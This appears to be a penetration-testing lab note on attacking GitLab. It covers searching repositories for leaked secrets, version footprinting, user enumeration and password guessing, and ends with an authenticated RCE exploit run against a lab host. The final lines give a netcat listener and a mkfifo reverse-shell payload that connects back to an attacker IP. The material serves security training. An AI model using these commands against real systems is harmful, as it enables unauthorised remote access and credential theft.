Gitlab

During internal and external penetration tests, it is common to come across interesting data in a company's GitHub repo or a self-hosted GitLab or BitBucket instance. These Git repositories may just hold publicly available code such as scripts to interact with an API. However, we may also find scripts or configuration files that were accidentally committed containing cleartext secrets such as passwords that we may use to our advantage. We may also come across SSH private keys. We can attempt to use the search function to search for users, passwords, etc. Applications such as GitLab allow for public repositories (that require no authentication), internal repositories (available to authenticated users), and private repositories (restricted to specific users). It is also worth perusing any public repositories for sensitive data and, if the application allows, register an account and look to see if any interesting internal repositories are accessible. Most companies will only allow a user with a company email address to register and require an administrator to authorize the account, but a GitLab instance can be set up to allow anyone to register and then log in.

Footprinting & Discovery

The only way to footprint the GitLab version number in use is by browsing to the /help page when logged in. If the GitLab instance allows us to register an account, we can log in and browse to this page to confirm the version. If we cannot register an account, we may have to try a low-risk exploit such as this.

Enumeration

There's not much we can do against GitLab without knowing the version number or being logged in. The first thing we should try is browsing to /explore and see if there are any public projects that may contain something interesting. Public projects can be interesting because we may be able to use them to find out more about the company's infrastructure, find production code that we can find a bug in after a code review, hard-coded credentials, a script or configuration file containing credentials, or other secrets such as an SSH private key or API key.

We can also use the registration form to enumerate valid users. If we can make a list of valid users, we could attempt to guess weak passwords or possibly re-use credentials that we find from a password dump using a tool such as Dehashed as seen in the osTicket section.

=interesting blog post about data that we may able to uncover on GitLab or GitHub.

How I made $15k in bug bounties from GitHub secret leaksTales of a Postgraduate Nothing

Attacks

GitLab has 553 CVEs reported as of September 2021. While not every single one is exploitable, there have been several severe ones over the years that could lead to remote code execution.

1. User enumeration

Though not considered a vulnerability by GitLab as seen on their Hackerone page ("User and project enumeration/path disclosure unless an additional impact can be demonstrated"), it is still something worth checking as it could result in access if users are selecting weak passwords.

GitLab Community Edition (CE) 13.10.3 - User EnumerationExploit Database

Python 3 code:

GitHub - dpgg101/GitLabUserEnum: GitLab User EnumerationGitHub

python3 gitlab_userenum.py --url http://gitlab.inlanefreight.local:8081/ --wordlist names.txt

Account lockout configuration file - 10 failed login attempts and an unlock period of 10 minutes is set by default:

config/initializers/8_devise.rb · master · GitLab.org / GitLab FOSS · GitLabGitLab

RCE on Gitlab 13.10.2

GitLab disclosed on HackerOne: RCE when removing metadata with...HackerOne

Gitlab 13.10.2 - Remote Code Execution (Authenticated)Exploit Database

# Copy the exploit
searchsploit -m ruby/webapps/49951.py

# Start a listenner to get the reverse shell
nc -nvlp 9001

#Launch the exploit
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '